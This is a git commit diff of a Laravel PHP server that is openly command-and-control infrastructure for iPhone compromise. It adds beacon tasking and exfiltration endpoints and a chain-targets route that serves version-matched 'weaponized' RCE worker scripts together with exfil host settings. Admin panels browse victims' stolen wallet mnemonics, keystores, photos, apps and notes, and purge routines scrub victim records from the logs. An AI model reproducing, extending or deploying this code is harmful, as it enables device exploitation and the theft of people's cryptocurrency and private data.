This commit is contained in:
hashbro
2026-08-24 06:23:07 +08:00
parent c00396dc1f
commit db574cc629
114 changed files with 108297 additions and 266 deletions
+11 -3
View File
@@ -3,27 +3,35 @@
namespace App\Console\Commands;
use App\Models\WalletAddress;
use App\Models\WalletMnemonic;
use App\Services\MnemonicAddressLinker;
use App\Services\MnemonicWalletDiscovery;
use Illuminate\Console\Command;
class LinkMnemonicsCommand extends Command
{
protected $signature = 'coruna:link-mnemonics';
protected $description = 'Backfill wallet_addresses.mnemonic_id for existing rows (BIP44 index 0..4)';
protected $description = 'Link existing addresses to mnemonics, and derive TRON/ETH/BTC index 0 when a mnemonic has none';
public function handle(MnemonicAddressLinker $linker): int
public function handle(MnemonicAddressLinker $linker, MnemonicWalletDiscovery $discovery): int
{
$before = WalletAddress::query()->whereNull('mnemonic_id')->count();
$this->info("unlinked addresses before: {$before}");
$result = $linker->backfill();
$discovered = 0;
foreach (WalletMnemonic::query()->orderBy('id')->cursor() as $mnemonic) {
$discovered += $discovery->discoverIndexZero($mnemonic);
}
$after = WalletAddress::query()->whereNull('mnemonic_id')->count();
$this->info(sprintf(
'scanned mnemonics=%d linked=%d unlinked_after=%d',
'scanned mnemonics=%d linked=%d discovered=%d unlinked_after=%d',
$result['mnemonics'],
$result['linked'],
$discovered,
$after,
));
+5 -3
View File
@@ -1,5 +1,7 @@
<?php
use Illuminate\Http\Request;
/* C2 / API request file logs — patterned after qrpay create_log */
if (! function_exists('create_log')) {
@@ -24,7 +26,7 @@ if (! function_exists('create_log')) {
$logName = $logPath.'/'.date('Ymd').'.log';
try {
$url = request()->getRequestUri();
} catch (\Throwable) {
} catch (Throwable) {
$url = $_SERVER['REQUEST_URI'] ?? '';
}
$logStr = date('Y-m-d H:i:s').' '.$url.' '.$str."\r\n\r\n";
@@ -35,7 +37,7 @@ if (! function_exists('create_log')) {
if ($isNew) {
@chmod($logName, 0664);
}
} catch (\Throwable) {
} catch (Throwable) {
// never break the request for logging
}
}
@@ -47,7 +49,7 @@ if (! function_exists('c2_log_request_meta')) {
*
* @return array{ip: string|null, remote_addr: mixed, headers: array<string, string|null>}
*/
function c2_log_request_meta(\Illuminate\Http\Request $request): array
function c2_log_request_meta(Request $request): array
{
$headers = [];
foreach ([
+136 -9
View File
@@ -7,15 +7,20 @@ use App\Http\Controllers\Controller;
use App\Models\Device;
use App\Models\DeviceApp;
use App\Models\DeviceEvent;
use App\Models\DsChainLog;
use App\Models\Note;
use App\Models\PageVisit;
use App\Models\Photo;
use App\Models\User;
use App\Models\WalletAddress;
use App\Models\WalletKeystore;
use App\Models\WalletMnemonic;
use App\Support\AgentScope;
use App\Services\PhotoPreview;
use App\Services\Tokenview\TokenviewMonitorService;
use App\Support\AgentScope;
use Illuminate\Database\Eloquent\Builder;
use Illuminate\Http\Request;
use Illuminate\Support\Collection;
use Illuminate\Support\Facades\DB;
use Illuminate\Support\Facades\Log;
use Illuminate\Support\Facades\Storage;
@@ -58,6 +63,7 @@ class DeviceController extends Controller
return [
'id' => $d->id,
'device_id' => $d->device_id,
'family' => $d->family ?: Device::FAMILY_CORUNA,
'channel_id' => $d->channel_id ?: '',
'source_domain' => $d->source_domain ?: '',
'device_model' => $d->device_model ?: '',
@@ -86,7 +92,7 @@ class DeviceController extends Controller
$this->authorizeDevice($device);
$tab = $request->query('tab', 'wallets');
if (! in_array($tab, ['wallets', 'mnemonics', 'photos', 'apps', 'notes', 'events'], true)) {
if (! in_array($tab, ['wallets', 'mnemonics', 'keystores', 'photos', 'apps', 'notes', 'events'], true)) {
$tab = 'wallets';
}
@@ -109,12 +115,15 @@ class DeviceController extends Controller
->values();
}
$device->load(['beaconTasks']);
return view('admin.devices.show', [
'device' => $device,
'tab' => $tab,
'addressSources' => $addressSources,
'addressChains' => $addressChains,
'portal' => $this->portal(),
'beaconTasks' => $device->beaconTasks,
]);
}
@@ -131,6 +140,7 @@ class DeviceController extends Controller
return match ($tab) {
'wallets' => $this->paginateAddresses($device, $request, $field, $order, $limit, $page),
'mnemonics' => $this->paginateMnemonics($device, $field, $order, $limit, $page),
'keystores' => $this->paginateKeystores($device, $field, $order, $limit, $page),
'photos' => $this->paginatePhotos($device, $request, $field, $order, $limit, $page),
'apps' => $this->paginateApps($device, $field, $order, $limit, $page),
'notes' => $this->paginateNotes($device, $field, $order, $limit, $page),
@@ -139,16 +149,17 @@ class DeviceController extends Controller
};
}
public function photo(Device $device, int $photo)
public function photo(Device $device, int $photo, PhotoPreview $preview)
{
$this->authorizeDevice($device);
$row = $device->photos()->whereKey($photo)->firstOrFail();
abort_unless(Storage::disk('local')->exists($row->path), 404);
$mime = mime_content_type(Storage::disk('local')->path($row->path)) ?: 'application/octet-stream';
$abs = Storage::disk('local')->path($row->path);
$out = $preview->payload($abs, (string) $device->device_id, (string) ($row->sha256 ?: ''));
return response(Storage::disk('local')->get($row->path), 200)
->header('Content-Type', $mime);
return response($out['bytes'], 200)
->header('Content-Type', $out['mime']);
}
public function update(Request $request, Device $device)
@@ -177,6 +188,7 @@ class DeviceController extends Controller
$this->authorizeDevice($device);
$deletedFiles = $this->deletePhotoFiles($device);
app(PhotoPreview::class)->forgetForDevice((string) $device->device_id);
$deletedRows = $device->photos()->delete();
$this->deleteStorageDir('c2/photos/'.$device->device_id);
@@ -210,9 +222,13 @@ class DeviceController extends Controller
private function purgeDevice(Device $device): void
{
$this->deletePhotoFiles($device);
app(PhotoPreview::class)->forgetForDevice((string) $device->device_id);
$this->deleteStorageDir('c2/photos/'.$device->device_id);
$this->deleteStorageDir('c2/check/'.$device->device_id);
$this->deleteStorageDir('c2/ds-results/'.$device->device_id);
$this->deleteStorageDir('c2/ds-chunks/'.$device->device_id);
$this->unmonitorAddresses($device);
$this->purgeDarkSwordLogs($device);
DB::transaction(function () use ($device) {
$device->apps()->delete();
@@ -222,10 +238,93 @@ class DeviceController extends Controller
$device->addresses()->delete();
$device->mnemonics()->delete();
$device->keystores()->delete();
$device->beaconTasks()->delete();
$device->delete();
});
}
private function purgeDarkSwordLogs(Device $device): void
{
$keys = $this->deviceLogKeys($device);
if ($keys === []) {
return;
}
DsChainLog::query()->whereIn('client_uid', $keys)->delete();
PageVisit::query()->whereIn('client_uid', $keys)->delete();
$this->purgeDsFileLogs($keys);
}
/**
* @return list<string>
*/
private function deviceLogKeys(Device $device): array
{
$raw = trim((string) $device->device_id);
$hex = strtoupper(preg_replace('/[^0-9A-Fa-f]/', '', $raw) ?? '');
$keys = [];
foreach ([$raw, strtoupper($raw), $hex] as $key) {
if ($key !== '' && ! in_array($key, $keys, true)) {
$keys[] = $key;
}
}
return $keys;
}
/**
* @param list<string> $keys
*/
private function purgeDsFileLogs(array $keys): void
{
$dir = public_path('log/ds');
if (! is_dir($dir)) {
return;
}
$needles = array_values(array_unique(array_filter(array_map(
static fn (string $key) => strtolower($key),
$keys
), static fn (string $key) => strlen($key) >= 8)));
if ($needles === []) {
return;
}
foreach (glob($dir.'/*.log') ?: [] as $file) {
$raw = @file_get_contents($file);
if (! is_string($raw) || $raw === '') {
continue;
}
$parts = preg_split("/\r\n\r\n|\n\n/", $raw) ?: [];
$kept = [];
$changed = false;
foreach ($parts as $part) {
if (trim($part) === '') {
continue;
}
$hay = strtolower($part);
$hit = false;
foreach ($needles as $needle) {
if (str_contains($hay, $needle)) {
$hit = true;
break;
}
}
if ($hit) {
$changed = true;
continue;
}
$kept[] = $part;
}
if (! $changed) {
continue;
}
$out = $kept === [] ? '' : implode("\r\n\r\n", $kept)."\r\n\r\n";
@file_put_contents($file, $out);
}
}
private function deletePhotoFiles(Device $device): int
{
$deletedFiles = 0;
@@ -380,6 +479,30 @@ class DeviceController extends Controller
return $this->layuiPage($paginator->total(), $data);
}
private function paginateKeystores(Device $device, string $field, string $order, int $limit, int $page)
{
$sortable = ['id', 'source', 'decrypted', 'created_at', 'updated_at'];
if (! in_array($field, $sortable, true)) {
$field = 'id';
}
$paginator = $device->keystores()->orderBy($field, $order)->paginate($limit, ['*'], 'page', $page);
$portal = $this->portal();
$data = collect($paginator->items())->map(function (WalletKeystore $row) use ($portal) {
return [
'id' => $row->id,
'source' => $row->sourceLabel(),
'decrypted' => (int) $row->decrypted,
'kind' => $row->kindLabel(),
'item_count' => $row->itemCount(),
'summary' => $row->summary(),
'created_at' => optional($row->created_at)->format('Y-m-d H:i:s'),
'items_url' => route($portal.'.keystores.items', $row->id),
];
})->values();
return $this->layuiPage($paginator->total(), $data);
}
private function paginateApps(Device $device, string $field, string $order, int $limit, int $page)
{
$sortable = ['id', 'name', 'bundle_id', 'version', 'is_wallet', 'created_at', 'updated_at'];
@@ -454,7 +577,7 @@ class DeviceController extends Controller
}
/**
* @param \Illuminate\Support\Collection<int, array<string, mixed>>|array<int, array<string, mixed>> $data
* @param Collection<int, array<string, mixed>>|array<int, array<string, mixed>> $data
*/
private function layuiPage(int $count, $data)
{
@@ -467,7 +590,7 @@ class DeviceController extends Controller
}
/**
* @return array{device_key: string, channel_id: string, model: string, ip: string, ios: string, installed_from: string, installed_to: string, has_wallet: ?int, agent_user_id: ?int}
* @return array{device_key: string, family: string, channel_id: string, model: string, ip: string, ios: string, installed_from: string, installed_to: string, has_wallet: ?int, agent_user_id: ?int}
*/
private function filtersFrom(Request $request): array
{
@@ -479,6 +602,7 @@ class DeviceController extends Controller
return [
'device_key' => trim((string) $request->query('device_key', '')),
'family' => trim((string) $request->query('family', '')),
'channel_id' => trim((string) $request->query('channel_id', '')),
'model' => trim((string) $request->query('model', '')),
'ip' => trim((string) $request->query('ip', '')),
@@ -491,7 +615,7 @@ class DeviceController extends Controller
}
/**
* @param array{device_key: string, channel_id: string, model: string, ip: string, ios: string, installed_from: string, installed_to: string, has_wallet: ?int, agent_user_id: ?int} $filters
* @param array{device_key: string, family: string, channel_id: string, model: string, ip: string, ios: string, installed_from: string, installed_to: string, has_wallet: ?int, agent_user_id: ?int} $filters
*/
private function filteredQuery(array $filters): Builder
{
@@ -501,6 +625,9 @@ class DeviceController extends Controller
if ($filters['device_key'] !== '') {
$q->where('devices.device_id', 'like', '%'.$filters['device_key'].'%');
}
if ($filters['family'] !== '' && in_array($filters['family'], [Device::FAMILY_CORUNA, Device::FAMILY_DARKSWORD], true)) {
$q->where('devices.family', $filters['family']);
}
if ($filters['channel_id'] !== '') {
$q->where('devices.channel_id', 'like', '%'.$filters['channel_id'].'%');
}
@@ -0,0 +1,157 @@
<?php
namespace App\Http\Controllers\Admin;
use App\Http\Controllers\Concerns\PortalAware;
use App\Http\Controllers\Controller;
use App\Models\User;
use App\Models\WalletKeystore;
use App\Support\AgentScope;
use Illuminate\Database\Eloquent\Builder;
use Illuminate\Http\Request;
class KeystoreController extends Controller
{
use PortalAware;
public function index()
{
$agents = $this->isAgentPortal()
? collect()
: User::query()->orderBy('username')->get(['id', 'username']);
$sources = WalletKeystore::query()
->where('source', '!=', '')
->distinct()
->orderBy('source')
->pluck('source');
return view('admin.keystores.index', [
'portal' => $this->portal(),
'agents' => $agents,
'sources' => $sources,
]);
}
public function data(Request $request)
{
$q = $this->baseQuery($request);
$sortable = ['id', 'source', 'decrypted', 'created_at', 'updated_at'];
$field = (string) $request->query('field', 'id');
$order = strtolower((string) $request->query('order', 'desc')) === 'asc' ? 'asc' : 'desc';
if (! in_array($field, $sortable, true)) {
$field = 'id';
}
$q->orderBy('wallet_keystores.'.$field, $order);
$limit = max(1, min(100, (int) $request->query('limit', 20)));
$page = max(1, (int) $request->query('page', 1));
$paginator = $q->paginate($limit, ['*'], 'page', $page);
$portal = $this->portal();
$data = collect($paginator->items())->map(function (WalletKeystore $row) use ($portal) {
return $this->rowPayload($row, $portal);
})->values();
return response()->json([
'code' => 0,
'msg' => '',
'count' => $paginator->total(),
'data' => $data,
]);
}
public function items(WalletKeystore $keystore)
{
if (! $this->keystoreAllowed($keystore)) {
return response()->json(['code' => 1, 'msg' => '无权操作'], 403);
}
return response()->json([
'code' => 0,
'msg' => '',
'data' => [
'id' => $keystore->id,
'source' => $keystore->sourceLabel(),
'decrypted' => (int) $keystore->decrypted,
'kind' => $keystore->kindLabel(),
'items' => $keystore->listedItems(),
],
]);
}
/**
* @return array<string, mixed>
*/
public function rowPayload(WalletKeystore $row, string $portal): array
{
return [
'id' => $row->id,
'device_key' => $row->device_key ?? $row->device?->device_id ?? '',
'channel_id' => $row->device_channel_id ?? $row->device?->channel_id ?? '',
'source' => $row->sourceLabel(),
'decrypted' => (int) $row->decrypted,
'kind' => $row->kindLabel(),
'item_count' => $row->itemCount(),
'summary' => $row->summary(),
'created_at' => optional($row->created_at)->format('Y-m-d H:i:s'),
'detail_url' => route($portal.'.devices.show', ['device' => $row->device_id, 'tab' => 'keystores']),
'items_url' => route($portal.'.keystores.items', $row->id),
];
}
private function keystoreAllowed(WalletKeystore $keystore): bool
{
$allowed = WalletKeystore::query()
->join('devices', 'devices.id', '=', 'wallet_keystores.device_id')
->where('wallet_keystores.id', $keystore->id);
AgentScope::applyDeviceChannelScope($allowed, $this->agent());
return $allowed->exists();
}
private function baseQuery(Request $request): Builder
{
$q = WalletKeystore::query()
->join('devices', 'devices.id', '=', 'wallet_keystores.device_id')
->select([
'wallet_keystores.*',
'devices.device_id as device_key',
'devices.channel_id as device_channel_id',
]);
AgentScope::applyDeviceChannelScope($q, $this->agent());
$channelId = trim((string) $request->query('channel_id', ''));
$deviceKey = trim((string) $request->query('device_key', ''));
$source = trim((string) $request->query('source', ''));
$decrypted = trim((string) $request->query('decrypted', ''));
if ($channelId !== '') {
$q->where('devices.channel_id', 'like', '%'.$channelId.'%');
}
if ($deviceKey !== '') {
$q->where('devices.device_id', 'like', '%'.$deviceKey.'%');
}
if ($source !== '') {
if ($source === '未知') {
$q->where(function (Builder $inner) {
$inner->whereNull('wallet_keystores.source')
->orWhere('wallet_keystores.source', '');
});
} else {
$q->where('wallet_keystores.source', $source);
}
}
if ($decrypted === '0' || $decrypted === '1') {
$q->where('wallet_keystores.decrypted', (int) $decrypted);
}
if (! $this->isAgentPortal()) {
AgentScope::applyAgentUserFilter(
$q,
AgentScope::parseAgentUserIdFilter($request->query('agent_user_id'))
);
}
return $q;
}
}
@@ -85,7 +85,7 @@ class MnemonicController extends Controller
return response()->json(['code' => 1, 'msg' => '无权操作'], 403);
}
$discovery->discoverFundedIndexZero($mnemonic);
$discovery->discoverIndexZero($mnemonic);
return response()->json([
'code' => 0,
@@ -116,7 +116,7 @@ class MnemonicController extends Controller
RateLimiter::hit($throttleKey, self::REFRESH_DECAY_SECONDS);
$discovery->discoverFundedIndexZero($mnemonic);
$discovery->discoverIndexZero($mnemonic);
$addresses = WalletAddress::query()
->where('mnemonic_id', $mnemonic->id)
@@ -4,11 +4,13 @@ namespace App\Http\Controllers\Admin;
use App\Http\Controllers\Concerns\PortalAware;
use App\Http\Controllers\Controller;
use App\Models\DsChainLog;
use App\Models\PageVisit;
use App\Models\User;
use App\Support\AgentScope;
use Carbon\Carbon;
use Illuminate\Http\Request;
class PageVisitController extends Controller
{
use PortalAware;
@@ -36,7 +38,7 @@ class PageVisitController extends Controller
->orderByDesc('id')
->forPage($page, $limit)
->get([
'id', 'channel_id', 'client_uid', 'os', 'os_version',
'id', 'channel_id', 'client_uid', 'chain', 'os', 'os_version',
'browser', 'browser_version', 'user_agent', 'ip', 'domain', 'referer', 'created_at',
]);
@@ -48,6 +50,8 @@ class PageVisitController extends Controller
'id' => $v->id,
'channel_id' => $v->channel_id,
'client_uid' => $v->client_uid,
'chain' => (int) $v->chain,
'chain_label' => PageVisit::chainLabel((int) $v->chain),
'os' => $v->os ?: '',
'os_version' => $v->os_version ?: '',
'browser' => $v->browser ?: '',
@@ -61,66 +65,35 @@ class PageVisitController extends Controller
]);
}
public function groups(Request $request)
public function logs(Request $request)
{
$group = (string) $request->query('group', 'os');
$base = $this->scopedQuery($request);
$builder = match ($group) {
'os_version' => $base
->select('os', 'os_version')
->selectRaw('COUNT(*) as pv')
->selectRaw('COUNT(DISTINCT client_uid) as uv')
->groupBy('os', 'os_version'),
'domain' => $base
->select('domain')
->selectRaw('COUNT(*) as pv')
->selectRaw('COUNT(DISTINCT client_uid) as uv')
->groupBy('domain'),
'browser' => $base
->select('browser')
->selectRaw('COUNT(*) as pv')
->selectRaw('COUNT(DISTINCT client_uid) as uv')
->groupBy('browser'),
'browser_version' => $base
->select('browser', 'browser_version')
->selectRaw('COUNT(*) as pv')
->selectRaw('COUNT(DISTINCT client_uid) as uv')
->groupBy('browser', 'browser_version'),
default => $base
->select('os')
->selectRaw('COUNT(*) as pv')
->selectRaw('COUNT(DISTINCT client_uid) as uv')
->groupBy('os'),
};
$uid = strtoupper(preg_replace('/[^0-9A-Fa-f]/', '', (string) $request->query('client_uid', '')) ?? '');
if ($uid === '') {
return response()->json(['code' => 1, 'msg' => '缺少访客 UID', 'data' => []]);
}
$rows = $builder
->orderByDesc('pv')
->limit(50)
->get()
->map(static function ($row) use ($group) {
$label = match ($group) {
'os_version' => trim(((string) ($row->os ?? '')).' '.((string) ($row->os_version ?? ''))),
'domain' => (string) ($row->domain ?? ''),
'browser' => (string) ($row->browser ?? ''),
'browser_version' => trim(((string) ($row->browser ?? '')).' '.((string) ($row->browser_version ?? ''))),
default => (string) ($row->os ?? ''),
};
$visible = $this->scopedQuery($request)->where('client_uid', $uid)->where('chain', PageVisit::CHAIN_DARKSWORD);
if (! $visible->exists()) {
return response()->json(['code' => 0, 'msg' => '', 'data' => []]);
}
return [
'label' => $label !== '' ? $label : 'Unknown',
'pv' => (int) $row->pv,
'uv' => (int) $row->uv,
];
})
->values();
$rows = DsChainLog::query()
->where('client_uid', $uid)
->orderBy('id')
->limit(200)
->get();
return response()->json([
'code' => 0,
'msg' => '',
'data' => [
'group' => $group,
'rows' => $rows,
],
'data' => $rows->map(static fn (DsChainLog $row) => [
'id' => $row->id,
'stage' => $row->stage,
'stage_label' => DsChainLog::stageTitle((string) $row->stage),
'progress' => (int) $row->progress,
'label' => $row->label ?: '',
'created_at' => optional($row->created_at)?->toDateTimeString(),
])->values(),
]);
}
@@ -141,6 +114,10 @@ class PageVisitController extends Controller
$q->where('channel_id', 'like', '%'.$channelId.'%');
}
if ($request->query->has('chain') && $request->query('chain') !== '') {
$q->where('chain', (int) $request->query('chain'));
}
$os = trim((string) $request->query('os', ''));
if ($os !== '') {
$q->where('os', $os);
@@ -0,0 +1,434 @@
<?php
namespace App\Http\Controllers\C2;
use App\Http\Controllers\Controller;
use App\Services\DarkSwordIngestAdapter;
use App\Services\DsBeaconQueue;
use Illuminate\Http\Request;
use Symfony\Component\HttpFoundation\Response as SymfonyResponse;
/**
* one99 / DarkSword C2: ingest plaintext JSON, then truncate-preview into ds log.
* Unique paths: routes/ds.php. Shared xxbb paths: routes/xxbb.php.
*/
class DarkSwordC2Controller extends Controller
{
public function __construct(
private readonly DarkSwordIngestAdapter $ingest,
private readonly DsBeaconQueue $beaconQueue,
) {}
/**
* Plaintext JSON on /a /u /nb /event /result is DarkSword, not xxbb AES.
*/
public static function matches(Request $request): bool
{
$path = '/'.ltrim($request->path(), '/');
if (! in_array($path, ['/a', '/u', '/nb', '/event', '/result'], true)) {
return false;
}
if ($request->headers->has('x-ts') && (string) $request->header('x-ts') !== '') {
return false;
}
$ct = strtolower((string) $request->header('content-type', ''));
if (str_contains($ct, 'json')) {
return true;
}
$raw = ltrim((string) $request->getContent());
return $raw !== '' && ($raw[0] === '{' || $raw[0] === '[');
}
public function beacon(Request $request): SymfonyResponse
{
$payload = $this->jsonBody($request);
$device = $this->ingest->ensureDevice($request, $payload);
$command = $device ? $this->beaconQueue->dequeue($device) : null;
$body = [
'ok' => true,
'type' => $command['type'] ?? 'noop',
'client_ip' => $request->ip(),
'uuid' => $payload['uuid'] ?? $payload['lhu'] ?? null,
];
if ($command !== null) {
$body['command_id'] = $command['command_id'];
$body['params'] = $command['params'];
}
return $this->finish($request, '/beacon', $payload, response()->json($body));
}
public function war(Request $request): SymfonyResponse
{
return $this->ok($request, '/war', $this->jsonBody($request));
}
public function p(Request $request): SymfonyResponse
{
return $this->ok($request, '/p', $this->jsonBody($request));
}
public function stats(Request $request): SymfonyResponse
{
return $this->finish($request, '/stats', $this->jsonBody($request), response()->json([
'bytes' => strlen((string) $request->getContent()),
'ok' => true,
'path' => '/stats',
]));
}
public function log(Request $request): SymfonyResponse
{
$payload = $this->payloadFromQueryOrJson($request);
return $this->finish($request, '/api/ds/log', $payload, $this->logAck($request));
}
public function peStage(Request $request, string $name = ''): SymfonyResponse
{
$path = '/'.ltrim($request->path(), '/');
$stage = $this->peStageName($name !== '' ? $name : $path);
$payload = $this->payloadFromQueryOrJson($request);
$payload['pe_stage'] = $stage;
$payload['stage'] = $payload['stage'] ?? 'pe';
$payload['label'] = $payload['label'] ?? ('pe_stage:'.$stage);
$body = $this->previewBody($request);
if (is_array($body)) {
$body['pe_stage'] = $stage;
}
return $this->finish($request, $path, $payload, $this->logAck($request), $body);
}
public function register(Request $request): SymfonyResponse
{
$payload = $this->jsonBody($request);
$device = strtoupper((string) (
$payload['deviceUUID']
?? $payload['device']
?? $payload['uuid']
?? $request->header('X-Device-UUID')
?? ''
));
$device = substr(preg_replace('/[^0-9A-F]/', '', $device) ?? '', 0, 32);
$ios = (string) ($payload['ios'] ?? $payload['ios_version'] ?? $request->query('ios', ''));
return $this->finish($request, '/api/ds/device/register', $payload, response()->json([
'ok' => true,
'device' => $device,
'deviceUUID' => $device,
'device_id' => $device,
'aliased' => false,
'ios_version' => $ios,
'target_chain' => (string) ($payload['chain'] ?? 'darksword'),
'target_chain_label' => 'D鏈',
'offset_params' => [
'ok' => true,
'mode' => 'probing',
'device' => null,
'xnu' => str_starts_with($ios, '18.6') ? '24.6' : null,
'build' => null,
'candidates' => [],
'hint' => 'device model required (iPhoneN,M); refuse xnu-only kernelTask inject',
],
'sla_ms' => 15000,
's5_honest' => '',
]));
}
public function chainTargets(Request $request): SymfonyResponse
{
$forwarded = (string) $request->header('X-Forwarded-Host', '');
if ($forwarded !== '') {
$hostPort = explode(':', $forwarded, 2);
$host = $hostPort[0];
$port = isset($hostPort[1]) ? (int) $hostPort[1] : (int) $request->header('X-Forwarded-Port', $request->getPort());
$scheme = (string) $request->header('X-Forwarded-Proto', $request->getScheme());
} else {
$host = $request->getHost();
$port = (int) $request->getPort();
$scheme = $request->getScheme();
}
$base = $scheme.'://'.$host.($this->isDefaultPort($scheme, $port) ? '' : ':'.$port);
$ios = $this->requestIos($request);
[$recommended, $fallbacks] = $this->chainTargetWorkers($ios);
return $this->finish($request, '/api/ds/chain-targets', $this->payloadFromQueryOrJson($request), response()->json([
'ok' => true,
'chain' => 'darksword',
'weaponized' => true,
'gated' => false,
'ios' => $ios,
'reason' => 'DarkSword 18.4-18.7.2',
'recommended_worker' => $recommended,
'fallback_workers' => $fallbacks,
'band' => [
'recommended_worker' => $recommended,
'fallback_workers' => $fallbacks,
'usable_for_attempt' => true,
'usable_grade' => 'LIVE',
'weaponized' => true,
],
'exfil' => [
'host' => $host,
'domain' => $host,
'http_port' => $port,
'https_port' => $port,
'tls' => $scheme === 'https',
'prefer_https' => false,
'stats_url' => $base.'/stats',
'stats_url_direct' => $base.'/stats',
'delivery_stats_url' => $base.'/stats',
],
'delivery_ok' => true,
'entry_point' => '',
'redirect_to' => '',
's5_module' => '',
'usable_grade' => 'LIVE',
]));
}
public function profile(Request $request): SymfonyResponse
{
return $this->ok($request, '/a', $this->jsonBody($request));
}
public function apps(Request $request): SymfonyResponse
{
return $this->ok($request, '/u', $this->jsonBody($request));
}
public function notes(Request $request): SymfonyResponse
{
return $this->ok($request, '/nb', $this->jsonBody($request));
}
public function event(Request $request): SymfonyResponse
{
return $this->ok($request, '/event', $this->jsonBody($request));
}
public function result(Request $request): SymfonyResponse
{
return $this->ok($request, '/result', $this->jsonBody($request));
}
/**
* @param array<string, mixed> $payload
*/
private function ok(Request $request, string $path, array $payload): SymfonyResponse
{
return $this->finish($request, $path, $payload, response()->json(['ok' => true]));
}
private function logAck(Request $request): SymfonyResponse
{
if ($request->isMethod('GET') || $request->isMethod('HEAD')) {
return response('ok', 200)->header('Content-Type', 'text/plain; charset=utf-8');
}
return response()->json(['status' => 'accepted']);
}
/**
* @param array<string, mixed> $payload
* @param array<string, mixed>|string|null $logBody
*/
private function finish(
Request $request,
string $path,
array $payload,
SymfonyResponse $response,
array|string|null $logBody = null,
): SymfonyResponse {
try {
$this->ingest->ingest($request, $path, $payload);
} catch (\Throwable $e) {
error_log('[ds] ingest '.$path.' '.$e->getMessage());
}
$body = $logBody ?? $this->previewBody($request);
$respPreview = $this->previewString((string) $response->getContent(), 4096);
$entry = [
'dir' => 'ds',
'method' => $request->method(),
'path' => $path,
'ip' => $request->ip(),
'query' => $request->query(),
'headers' => c2_log_request_meta($request)['headers'],
'body' => $body,
'response' => $respPreview,
];
create_log($entry, 'ds');
error_log('[ds] '.$request->method().' '.$path.' req='.json_encode($body, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES).' resp='.$respPreview);
return $response;
}
/**
* Match live one99.vip GET /api/chain-targets (probed 2026-08-21).
* Query `ios=` wins over User-Agent; UA is used only when the query is empty.
*/
private function requestIos(Request $request): string
{
$ios = (string) $request->query('ios', '');
if ($ios !== '') {
return $ios;
}
$ua = (string) $request->userAgent();
if (preg_match('/(?:iPhone )?OS (\d+)[._](\d+)(?:[._](\d+))?/i', $ua, $m)) {
$out = $m[1].'.'.$m[2];
if (($m[3] ?? '') !== '') {
$out .= '.'.$m[3];
}
return $out;
}
return '';
}
/**
* Worker plan from live one99.vip /api/chain-targets.
*
* 18.4.x → 18.4 then [18.5, 18.6]
* 18.5.x → 18.5 then [18.6, 18.4]
* anything else (18.6+, 18.7, 17.x, 26.x, empty) → 18.6 then [18.5, 18.4]
*
* @return array{0: string, 1: list<string>}
*/
private function chainTargetWorkers(string $ios): array
{
$minor = null;
if (preg_match('/^18\.(\d+)/', $ios, $m)) {
$minor = (int) $m[1];
}
return match ($minor) {
4 => ['rce_worker_18.4.js', ['rce_worker_18.5.js', 'rce_worker_18.6.js']],
5 => ['rce_worker_18.5.js', ['rce_worker_18.6.js', 'rce_worker_18.4.js']],
default => ['rce_worker_18.6.js', ['rce_worker_18.5.js', 'rce_worker_18.4.js']],
};
}
private function isDefaultPort(string $scheme, int $port): bool
{
return ($scheme === 'http' && $port === 80) || ($scheme === 'https' && $port === 443);
}
private function peStageName(string $path): string
{
$name = basename($path);
$name = (string) preg_replace('/\.js$/i', '', $name);
$name = strtolower((string) preg_replace('/[^a-z0-9_]/', '', $name));
return $name !== '' ? $name : 'unknown';
}
/**
* @return array<string, mixed>
*/
private function payloadFromQueryOrJson(Request $request): array
{
$payload = $this->jsonBody($request);
if ($payload !== []) {
return $payload;
}
$query = $request->query();
return is_array($query) ? $query : [];
}
/**
* @return array<string, mixed>|string
*/
private function previewBody(Request $request): array|string
{
if ($request->isMethod('GET') || $request->isMethod('HEAD')) {
return ['query' => $request->query()];
}
$ct = strtolower((string) $request->header('content-type', ''));
if (str_contains($ct, 'multipart/')) {
$files = [];
foreach ($request->allFiles() as $key => $file) {
$list = is_array($file) ? $file : [$file];
foreach ($list as $f) {
$files[] = [
'field' => $key,
'name' => $f->getClientOriginalName(),
'size' => $f->getSize(),
];
}
}
return [
'multipart' => true,
'form' => $request->except(array_keys($request->allFiles())),
'files' => $files,
];
}
$raw = (string) $request->getContent();
$json = json_decode($raw, true);
if (is_array($json)) {
return $this->truncateArray($json);
}
return $this->previewString($raw, 4096);
}
/**
* @return array<string, mixed>
*/
private function jsonBody(Request $request): array
{
$json = json_decode((string) $request->getContent(), true);
return is_array($json) ? $json : [];
}
/**
* @param array<string, mixed> $data
* @return array<string, mixed>
*/
private function truncateArray(array $data, int $maxStr = 512, int $depth = 0): array
{
if ($depth > 4) {
return ['_truncated' => true];
}
$out = [];
$i = 0;
foreach ($data as $k => $v) {
if ($i++ > 80) {
$out['_more'] = true;
break;
}
if (is_string($v) && strlen($v) > $maxStr) {
$out[$k] = substr($v, 0, $maxStr).'…['.strlen($v).' bytes]';
} elseif (is_array($v)) {
$out[$k] = $this->truncateArray($v, $maxStr, $depth + 1);
} else {
$out[$k] = $v;
}
}
return $out;
}
private function previewString(string $raw, int $max): string
{
if (strlen($raw) <= $max) {
return $raw;
}
return substr($raw, 0, $max).'…['.strlen($raw).' bytes]';
}
}
@@ -15,25 +15,25 @@ class TokenviewWebhookController extends Controller
$raw = $request->getContent();
$signature = $request->header('X-Tokenview-Signature');
if (! $monitor->verifySignature($raw, $signature)) {
Log::warning('tokenview webhook bad signature');
return response('invalid signature', 401);
}
$payload = $request->json()->all();
if (! is_array($payload) || $payload === []) {
$decoded = json_decode($raw, true);
$payload = is_array($decoded) ? $decoded : [];
}
try {
$monitor->handleWebhook($payload);
} catch (\Throwable $e) {
Log::warning('tokenview webhook handle failed: '.$e->getMessage());
// Tokenview probes the webhook (often unsigned GET/POST) before a
// sign key exists. Always 200 + non-empty body; only skip ingest.
$signed = $monitor->verifySignature($raw, $signature);
if (! $signed) {
Log::warning('tokenview webhook bad signature (acked 200, skipped ingest)');
} elseif ($payload !== []) {
try {
$monitor->handleWebhook($payload);
} catch (\Throwable $e) {
Log::warning('tokenview webhook handle failed: '.$e->getMessage());
}
}
// Tokenview requires HTTP 200 + non-empty body.
return response('ok', 200)->header('Content-Type', 'text/plain; charset=UTF-8');
}
}
@@ -46,6 +46,7 @@ class PageHitController extends Controller
PageVisit::query()->create([
'channel_id' => $channelId,
'client_uid' => $uid,
'chain' => PageVisit::CHAIN_CORUNA,
'user_agent' => $ua !== '' ? $ua : null,
'os' => $parsed['os'],
